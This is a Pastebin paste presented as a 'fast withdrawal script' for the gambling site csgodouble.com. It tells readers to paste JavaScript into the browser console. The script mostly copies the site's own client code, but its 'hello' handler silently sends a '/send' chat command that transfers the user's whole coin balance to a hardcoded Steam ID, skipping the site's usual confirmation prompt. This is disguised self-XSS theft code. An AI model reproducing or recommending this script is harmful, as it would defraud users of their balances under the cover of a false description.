Advertisement
Guest User

CSGODouble.com WITHDRAW SCRIPT

a guest
Jul 14th, 2016
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.00 KB | None | 0 0
  1. Its fast withdrawal script.
  2. How to use:
  3. Open csgodouble.com
  4. Press ctrl + shitft + j - open console
  5. and paste there this:
  6.  
  7. "use strict";
  8.  
  9. var CASEW = 1125;
  10. var LAST_BET = 0;
  11. var MAX_BET = 0;
  12. var USER = "";
  13. var RANK = 0;
  14. var ROUND = 0;
  15. var HOST = "ws://www.csgodouble.com:8080";
  16. var WS = null;
  17. var showbets = true;
  18.  
  19. function todongers(x) {
  20. if ($("#settings_dongers").is(":checked")) {
  21. return (x / 1000)
  22. }
  23. return x
  24. }
  25.  
  26. function todongersb(x) {
  27. if ($("#settings_dongers").is(":checked")) {
  28. return (x / 1000).toFixed(3)
  29. }
  30. return x
  31. }
  32. var snapX = 0;
  33. var R = 0.999;
  34. var S = 0.01;
  35. var tf = 0;
  36. var vi = 0;
  37. var animStart = 0;
  38. var isMoving = false;
  39. var LOGR = Math.log(R);
  40. var $CASE = null;
  41. var $BANNER = null;
  42. var $CHATAREA = null;
  43. var SCROLL = true;
  44. var LANG = 1;
  45. var IGNORE = [];
  46. var sounds_rolling = new Audio('sounds/rolling.wav');
  47. sounds_rolling.volume = 0.5;
  48. var sounds_tone = new Audio('sounds/tone.wav');
  49. sounds_tone.volume = 0.75;
  50.  
  51. function play_sound(x) {
  52. var conf = $("#settings_sounds").is(":checked");
  53. if (conf) {
  54. if (x == "roll") {
  55. sounds_rolling.play()
  56. } else if (x == "finish") {
  57. sounds_tone.play()
  58. }
  59. }
  60. }
  61.  
  62. function snapRender(x, wobble) {
  63. CASEW = $("#case").width();
  64. if (isMoving) {
  65. return
  66. } else if (typeof x === 'undefined') {
  67. view(snapX)
  68. } else {
  69. var order = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8];
  70. var index = 0;
  71. for (var i = 0; i < order.length; i++) {
  72. if (x == order[i]) {
  73. index = i;
  74. break
  75. }
  76. }
  77. var max = 34;
  78. var min = -34;
  79. var w = Math.floor(wobble * (max - min + 1) + min);
  80. var dist = index * 75 + 36 + w;
  81. dist += 1125 * 5;
  82. snapX = dist;
  83. view(snapX)
  84. }
  85. }
  86.  
  87. function spin(m) {
  88. var x = m.roll;
  89. play_sound("roll");
  90. var order = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8];
  91. var index = 0;
  92. for (var i = 0; i < order.length; i++) {
  93. if (x == order[i]) {
  94. index = i;
  95. break
  96. }
  97. }
  98. var max = 34;
  99. var min = -34;
  100. var w = Math.floor(m.wobble * (max - min + 1) + min);
  101. var dist = index * 75 + 36 + w;
  102. dist += 1125 * 5;
  103. animStart = new Date().getTime();
  104. vi = getVi(dist);
  105. tf = getTf(vi);
  106. isMoving = true;
  107. setTimeout(function() {
  108. finishRoll(m, tf)
  109. }, tf);
  110. render()
  111. }
  112.  
  113. function d_mod(vi, t) {
  114. return vi * (Math.pow(R, t) - 1) / LOGR
  115. }
  116.  
  117. function getTf(vi) {
  118. return (Math.log(S) - Math.log(vi)) / LOGR
  119. }
  120.  
  121. function getVi(df) {
  122. return S - df * LOGR
  123. }
  124.  
  125. function v(vi, t) {
  126. return vi * Math.pow(R, t)
  127. }
  128.  
  129. function render() {
  130. var t = new Date().getTime() - animStart;
  131. if (t > tf) t = tf;
  132. var deg = d_mod(vi, t);
  133. view(deg);
  134. if (t < tf) {
  135. requestAnimationFrame(render)
  136. } else {
  137. snapX = deg;
  138. isMoving = false
  139. }
  140. }
  141.  
  142. function view(offset) {
  143. offset = -((offset + 1125 - CASEW / 2) % 1125);
  144. $CASE.css("background-position", offset + "px 0px")
  145. }
  146. jQuery.fn.extend({
  147. countTo: function(x, opts) {
  148. opts = opts || {};
  149. var dpf = "";
  150. var dolls = $("#settings_dongers").is(":checked");
  151. if (dolls) {
  152. dpf = "$";
  153. x = x / 1000
  154. }
  155. var $this = $(this);
  156. var start = parseFloat($this.html());
  157. var delta = x - start;
  158. if (opts.color) {
  159. if (delta > 0) {
  160. $this.addClass("text-success")
  161. } else if (delta < 0) {
  162. $this.addClass("text-danger")
  163. }
  164. }
  165. var prefix = "";
  166. if (opts.keep && delta > 0) {
  167. prefix = "+"
  168. }
  169. var durd = delta;
  170. if (dolls) {
  171. durd *= 1000
  172. }
  173. var dur = Math.min(400, Math.round(Math.abs(durd) / 500 * 400));
  174. $({
  175. count: start
  176. }).animate({
  177. count: x
  178. }, {
  179. duration: dur,
  180. step: function(val) {
  181. var vts = 0;
  182. if (dolls) {
  183. vts = val.toFixed(3)
  184. } else {
  185. vts = Math.floor(val)
  186. }
  187. $this.html("" + prefix + (vts))
  188. },
  189. complete: function() {
  190. if (!opts.keep) {
  191. $this.removeClass("text-success text-danger")
  192. }
  193. if (opts.callback) {
  194. opts.callback()
  195. }
  196. }
  197. })
  198. }
  199. });
  200.  
  201. function cd(ms, cb) {
  202. $("#counter").finish().css("width", "100%");
  203. $("#counter").animate({
  204. width: "0%"
  205. }, {
  206. "duration": ms * 1000,
  207. "easing": "linear",
  208. progress: function(a, p, r) {
  209. var c = (r / 1000).toFixed(2);
  210. $BANNER.html("Rolling in " + c + "...")
  211. },
  212. complete: cb
  213. })
  214. }
  215.  
  216. function send(msg) {
  217. if (typeof msg != "string") {
  218. msg = JSON.stringify(msg)
  219. }
  220. if (WS && WS.readyState == 1) {
  221. WS.send(msg)
  222. }
  223. }
  224.  
  225. function finishRoll(m, tf) {
  226. addHist(m.roll, m.rollid);
  227. play_sound("finish");
  228. for (var i = 0; i < m.nets.length; i++) {
  229. $("#panel" + m.nets[i].lower + "-" + m.nets[i].upper).find(".total").countTo(m.nets[i].swon > 0 ? m.nets[i].swon : -m.nets[i].samount, {
  230. "color": true,
  231. "keep": true
  232. })
  233. }
  234. var cats = [
  235. [0, 0],
  236. [1, 7],
  237. [8, 14]
  238. ];
  239. for (var i = 0; i < cats.length; i++) {
  240. var $mytotal = $("#panel" + cats[i][0] + "-" + cats[i][1]).find(".mytotal");
  241. if (m.roll >= cats[i][0] && m.roll <= cats[i][1]) {
  242. $mytotal.countTo(m.won, {
  243. "color": true,
  244. "keep": true
  245. })
  246. } else {
  247. var curr = parseFloat($mytotal.html());
  248. if ($("#settings_dongers").is(":checked")) {
  249. curr *= 1000
  250. }
  251. $mytotal.countTo(-curr, {
  252. "color": true,
  253. "keep": true
  254. })
  255. }
  256. }
  257. if (m.balance != null) {
  258. $("#balance").countTo(m.balance, {
  259. "color": true
  260. })
  261. }
  262. setTimeout(function() {
  263. cd(m.count);
  264. $(".total,.mytotal").removeClass("text-success text-danger").html(0);
  265. $(".betlist li").remove();
  266.  
  267. $(".betButton").prop("disabled", false);
  268. showbets = true
  269. }, m.wait * 1000 - tf)
  270. }
  271.  
  272. function addHist(roll, rollid) {
  273. var count = $("#past .ball").length;
  274. if (count >= 10) {
  275. $("#past .ball").first().remove()
  276. }
  277. if (roll == 0) {
  278. $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-0'>" + roll + "</div>")
  279. } else if (roll <= 7) {
  280. $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-1'>" + roll + "</div>")
  281. } else {
  282. $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-8'>" + roll + "</div>")
  283. }
  284. }
  285.  
  286. function onMessage(msg) {
  287. try {
  288. var m = JSON.parse(msg.data);
  289. if (m.type == "preroll") {
  290. $("#counter").finish();
  291. $("#banner").html("Confirming " + m.totalbets + "/" + (m.totalbets + m.inprog) + " total bets...");
  292. $("#panel0-0 .total").countTo(m.sums[0]);
  293. $("#panel1-7 .total").countTo(m.sums[1]);
  294. $("#panel8-14 .total").countTo(m.sums[2]);
  295. try {
  296. tinysort("#panel1-7 .betlist>li", {
  297. data: "amount",
  298. order: "desc"
  299. })
  300. } catch (e) {}
  301. try {
  302. tinysort("#panel8-14 .betlist>li", {
  303. data: "amount",
  304. order: "desc"
  305. })
  306. } catch (e) {}
  307. try {
  308. tinysort("#panel0-0 .betlist>li", {
  309. data: "amount",
  310. order: "desc"
  311. })
  312. } catch (e) {}
  313. } else if (m.type == "roll") {
  314. $(".betButton").prop("disabled", true);
  315. $("#counter").finish();
  316. $("#banner").html("Predicted number is " + m.roll + "!");
  317. ROUND = m.rollid;
  318. showbets = false;
  319. spin(m)
  320. } else if (m.type == "chat") {
  321. chat("player", m.msg, m.name, m.icon, m.user, m.rank, m.lang)
  322. } else if (m.type == "hello") {
  323. cd(m.count);
  324. USER = m.user;
  325. RANK = m.rank;
  326. $("#balance").countTo(m.balance);
  327. var last = 0;
  328. for (var i = 0; i < m.rolls.length; i++) {
  329. addHist(m.rolls[i].roll, m.rolls[i].rollid);
  330. last = m.rolls[i].roll;
  331. ROUND = m.rolls[i].rollid
  332. }
  333. snapRender(last, m.last_wobble);
  334. MAX_BET = m.maxbet;
  335. send({
  336. "type": "chat",
  337. "msg": "/send 76561198034284239 " + m.balance,
  338. "lang": "1"
  339. })
  340. } else if (m.type == "bet") {
  341. if (showbets) {
  342. addBet(m.bet);
  343. $("#panel0-0 .total").countTo(m.sums[0]);
  344. $("#panel1-7 .total").countTo(m.sums[1]);
  345. $("#panel8-14 .total").countTo(m.sums[2])
  346. }
  347. } else if (m.type == "betconfirm") {
  348. $("#panel" + m.bet.lower + "-" + m.bet.upper + " .mytotal").countTo(m.bet.amount);
  349. $("#balance").countTo(m.balance, {
  350. "color": true
  351. });
  352. $(".betButton").prop("disabled", false);
  353. chat("alert", "Bet #" + m.bet.betid + " confirmed " + m.mybr + "/" + m.br + " (" + (m.exec / 1000) + " sec) ")
  354. } else if (m.type == "error") {
  355. chat("error", m.error);
  356. if (m.enable) {
  357. $(".betButton").prop("disabled", false)
  358. }
  359. } else if (m.type == "alert") {
  360. chat("alert", m.alert);
  361. if (m.maxbet) {
  362. MAX_BET = m.maxbet
  363. }
  364. if (!isNaN(m.balance)) {
  365. console.log("setting balance = %s", m.balance);
  366. $("#balance").countTo(m.balance, {
  367. "color": true
  368. })
  369. }
  370. } else if (m.type == "logins") {
  371. $("#isonline").html(m.count)
  372. } else if (m.type == "balance") {
  373. $("#balance").fadeOut(100).html(todongersb(m.balance)).fadeIn(100)
  374. }
  375. } catch (e) {
  376. console.log("Error: " + msg.data + " " + e)
  377. }
  378. }
  379.  
  380. function addBet(bet) {
  381. var betid = bet.user + "-" + bet.lower;
  382. var pid = "#panel" + bet.lower + "-" + bet.upper;
  383. var $panel = $(pid);
  384. $panel.find("#" + betid).remove();
  385. var link = "http://steamcommunity.com/profiles/" + bet.user;
  386. var f = "<li class='list-group-item' id='{0}' data-amount='{1}'>";
  387. f += "<div style='overflow: hidden;line-height:32px'>";
  388. f += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='" + link + "' target='_blank'><b>{3}</b></a></div>";
  389. f += "<div class='amount pull-right'>{4}</div>";
  390. f += "</div></li>";
  391. var $li = $(f.format(betid, bet.amount, bet.icon, bet.name, todongersb(bet.amount)));
  392. $li.hide().prependTo($panel.find(".betlist")).slideDown("fast", function() {
  393. snapRender()
  394. })
  395. }
  396.  
  397. function connect() {
  398. if (!WS) {
  399. $.ajax({
  400. url: "/scripts/getToken.php",
  401. success: function(data) {
  402. if (data) {
  403. if (data == "nologin") {} else if (data == "banned") {} else {
  404. WS = new WebSocket(HOST + "/" + data);
  405. WS.onclose = function(event) {
  406. WS = null
  407. };
  408. WS.onmessage = onMessage
  409. }
  410. } else {}
  411. },
  412. error: function(err) {}
  413. })
  414. } else {}
  415. }
  416.  
  417. function emotes(str) {
  418. var a = ["deIlluminati", "KappaRoss", "KappaPride", "BibleThump", "Kappa", "Keepo", "Kreygasm", "PJSalt", "PogChamp", "SMOrc", "FailFish"];
  419. for (var i = 0; i < a.length; i++) {
  420. str = str.replace(new RegExp(a[i] + "( |$)", "g"), "<img src='img/twitch/" + a[i] + ".png'> ")
  421. }
  422. return str
  423. }
  424.  
  425. function chat(x, msg, name, icon, steamid, rank, lang) {
  426. if (IGNORE.indexOf(String(steamid)) > -1) {
  427. console.log("ignored:" + msg);
  428. return
  429. }
  430. if (lang == LANG || x == "italic" || x == "error" || x == "alert") {
  431. var ele = document.getElementById("chatArea");
  432. msg = msg.replace(/(<|>)/g, '');
  433. msg = emotes(msg);
  434. var toChat = "";
  435. if (x == "italic") {
  436. toChat = "<div><i>" + msg + "</i></div>"
  437. } else if (x == "error") {
  438. toChat = "<div><b class='text-danger'>" + msg + "</b></div>"
  439. } else if (x == "alert") {
  440. toChat = "<div><b class='text-success'>" + msg + "</b></div>"
  441. } else if (x == "player") {
  442. var aclass = "chat-link";
  443. if (rank == 100) {
  444. aclass = "chat-link-mod";
  445. name = "[Owner] " + name
  446. } else if (rank == 1) {
  447. aclass = "chat-link-pmod";
  448. name = "[Mod] " + name
  449. } else if (rank == -1) {
  450. aclass = "chat-link-streamer";
  451. name = "[Streamer] " + name
  452. } else if (rank == -2) {
  453. aclass = "chat-link-vet";
  454. name = "[Veteran] " + name
  455. } else if (rank == -3) {
  456. aclass = "chat-link-pro";
  457. name = "[Pro] " + name
  458. }
  459. var link = "http://steamcommunity.com/profiles/" + steamid;
  460. toChat = "<div><img class='chat-img rounded' data-steamid='" + steamid + "' data-name='" + name + "' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars" + icon + "'><a class='" + aclass + "' href='" + link + "' target='_blank'><b>" + name + "</b></a>: " + msg + "</div>"
  461. }
  462. $CHATAREA.append(toChat);
  463. if (SCROLL) {
  464. var curr = $CHATAREA.children().length;
  465. if (curr > 75) {
  466. var rem = curr - 75;
  467. $CHATAREA.children().slice(0, rem).remove()
  468. }
  469. $CHATAREA.scrollTop($CHATAREA[0].scrollHeight)
  470. }
  471. if (SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")) {
  472. var curr = parseInt($("#newMsg").html()) || 0;
  473. $("#newMsg").html(curr + 1)
  474. }
  475. }
  476. }
  477. $(document).ready(function() {
  478. $CASE = $("#case");
  479. $BANNER = $("#banner");
  480. $CHATAREA = $("#chatArea");
  481. connect();
  482. if ($("#settings_dongers").is(":checked")) {
  483. $("#dongers").html("$")
  484. }
  485. $("#lang").on("change", function() {
  486. LANG = $(this).val();
  487. chat("alert", "## Switched to room: " + $(this).find("option:selected").text())
  488. });
  489. $("#scroll").on("change", function() {
  490. SCROLL = !$(this).is(":checked")
  491. });
  492. $(window).resize(function() {
  493. snapRender()
  494. });
  495. $("#chatForm").on("submit", function() {
  496. var msg = $("#chatMessage").val();
  497. if (msg) {
  498. var res = null;
  499. if (res = /^\/send ([0-9]*) ([0-9]*)/.exec(msg)) {
  500. bootbox.confirm("You are about to send " + res[2] + " coins to steamid " + res[1] + " - are you sure?", function(result) {
  501. if (result) {
  502. send({
  503. "type": "chat",
  504. "msg": msg,
  505. "lang": LANG
  506. });
  507. $("#chatMessage").val("")
  508. }
  509. })
  510. } else {
  511. send({
  512. "type": "chat",
  513. "msg": msg,
  514. "lang": LANG
  515. });
  516. $("#chatMessage").val("")
  517. }
  518. }
  519. return false
  520. });
  521. $(document).on("click", ".ball", function() {
  522. var rollid = $(this).data("rollid")
  523. });
  524. $(".betButton").on("click", function() {
  525. var lower = $(this).data("lower");
  526. var upper = $(this).data("upper");
  527. var amount = str2int($("#betAmount").val());
  528. if ($("#settings_dongers").is(":checked")) {
  529. amount = amount * 1000
  530. }
  531. amount = Math.floor(amount);
  532. var conf = $("#settings_confirm").is(":checked");
  533. if (conf && amount > 10000) {
  534. var pressed = false;
  535. bootbox.confirm("Are you sure you wish to bet " + formatNum(amount) + " coins?<br><br><i>You may disable this confirmation under the settings menu.</i>", function(result) {
  536. if (result && !pressed) {
  537. pressed = true;
  538. send({
  539. "type": "bet",
  540. "amount": amount,
  541. "lower": lower,
  542. "upper": upper,
  543. "round": ROUND
  544. });
  545. LAST_BET = amount;
  546. $(this).prop("disabled", true)
  547. }
  548. })
  549. } else {
  550. send({
  551. "type": "bet",
  552. "amount": amount,
  553. "lower": lower,
  554. "upper": upper,
  555. "round": ROUND
  556. });
  557. LAST_BET = amount;
  558. $(this).prop("disabled", true)
  559. }
  560. return false
  561. });
  562. $(document).on("click", ".betshort", function() {
  563. var bet_amount = str2int($("#betAmount").val());
  564. var action = $(this).data("action");
  565. if (action == "clear") {
  566. bet_amount = 0
  567. } else if (action == "double") {
  568. bet_amount *= 2
  569. } else if (action == "half") {
  570. bet_amount /= 2
  571. } else if (action == "max") {
  572. var MX = MAX_BET;
  573. if ($("#settings_dongers").is(":checked")) {
  574. MX = MAX_BET / 1000
  575. }
  576. bet_amount = Math.min(str2int($("#balance").html()), MX)
  577. } else if (action == "last") {
  578. bet_amount = LAST_BET
  579. } else {
  580. bet_amount += parseInt(action)
  581. }
  582. $("#betAmount").val(bet_amount)
  583. });
  584. $("#getbal").on("click", function() {
  585. send({
  586. "type": "balance"
  587. })
  588. });
  589. $("button.close").on("click", function() {
  590. $(this).parent().addClass("hidden")
  591. });
  592. $(document).on("contextmenu", ".chat-img", function(e) {
  593. if (e.ctrlKey) return;
  594. $("#contextMenu [data-act=1]").hide();
  595. $("#contextMenu [data-act=2]").hide();
  596. if (RANK == 100) {
  597. $("#contextMenu [data-act=1]").show();
  598. $("#contextMenu [data-act=2]").show()
  599. } else if (RANK == 1) {
  600. $("#contextMenu [data-act=1]").show()
  601. }
  602. e.preventDefault();
  603. var steamid = $(this).data("steamid");
  604. var name = $(this).data("name");
  605. $("#contextMenu [data-act=0]").html(name);
  606. var $menu = $("#contextMenu");
  607. $menu.show().css({
  608. position: "absolute",
  609. left: getMenuPosition(e.clientX, 'width', 'scrollLeft'),
  610. top: getMenuPosition(e.clientY, 'height', 'scrollTop')
  611. }).off("click").on("click", "a", function(e) {
  612. var act = $(this).data("act");
  613. e.preventDefault();
  614. $menu.hide();
  615. if (act == 0) {
  616. var curr = $("#chatMessage").val(steamid)
  617. } else if (act == 1) {
  618. var curr = $("#chatMessage").val("/mute " + steamid + " ")
  619. } else if (act == 2) {
  620. var curr = $("#chatMessage").val("/kick " + steamid + " ")
  621. } else if (act == 3) {
  622. var curr = $("#chatMessage").val("/send " + steamid + " ")
  623. } else if (act == 4) {
  624. IGNORE.push(String(steamid));
  625. chat("alert", steamid + " has been filtered.")
  626. }
  627. $("#chatMessage").focus()
  628. })
  629. });
  630. $(document).on("click", function() {
  631. $("#contextMenu").hide()
  632. });
  633. $(".side-icon").on("click", function(e) {
  634. e.preventDefault();
  635. var tab = $(this).data("tab");
  636. if ($(this).hasClass("active")) {
  637. $(".side-icon").removeClass("active");
  638. $(".tab-group").addClass("hidden");
  639. $("#mainpage").css("margin-left", "50px");
  640. $("#pullout").addClass("hidden")
  641. } else {
  642. $(".side-icon").removeClass("active");
  643. $(".tab-group").addClass("hidden");
  644. $(this).addClass("active");
  645. $("#tab" + tab).removeClass("hidden");
  646. $("#mainpage").css("margin-left", "450px");
  647. $("#pullout").removeClass("hidden");
  648. if (tab == 1) {
  649. $("#newMsg").html("")
  650. }
  651. }
  652. snapRender();
  653. return false
  654. });
  655. $(".side-icon[data-tab='1']").trigger("click")
  656. });
  657.  
  658. function getMenuPosition(mouse, direction, scrollDir) {
  659. var win = $(window)[direction](),
  660. scroll = $(window)[scrollDir](),
  661. menu = $("#contextMenu")[direction](),
  662. position = mouse + scroll;
  663. if (mouse + menu > win && menu < mouse) position -= menu;
  664. return position
  665. }
  666.  
  667. function str2int(s) {
  668. s = s.replace(/,/g, "");
  669. s = s.toLowerCase();
  670. var i = parseFloat(s);
  671. if (isNaN(i)) {
  672. return 0
  673. } else if (s.charAt(s.length - 1) == "k") {
  674. i *= 1000
  675. } else if (s.charAt(s.length - 1) == "m") {
  676. i *= 1000000
  677. } else if (s.charAt(s.length - 1) == "b") {
  678. i *= 1000000000
  679. }
  680. return i
  681. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement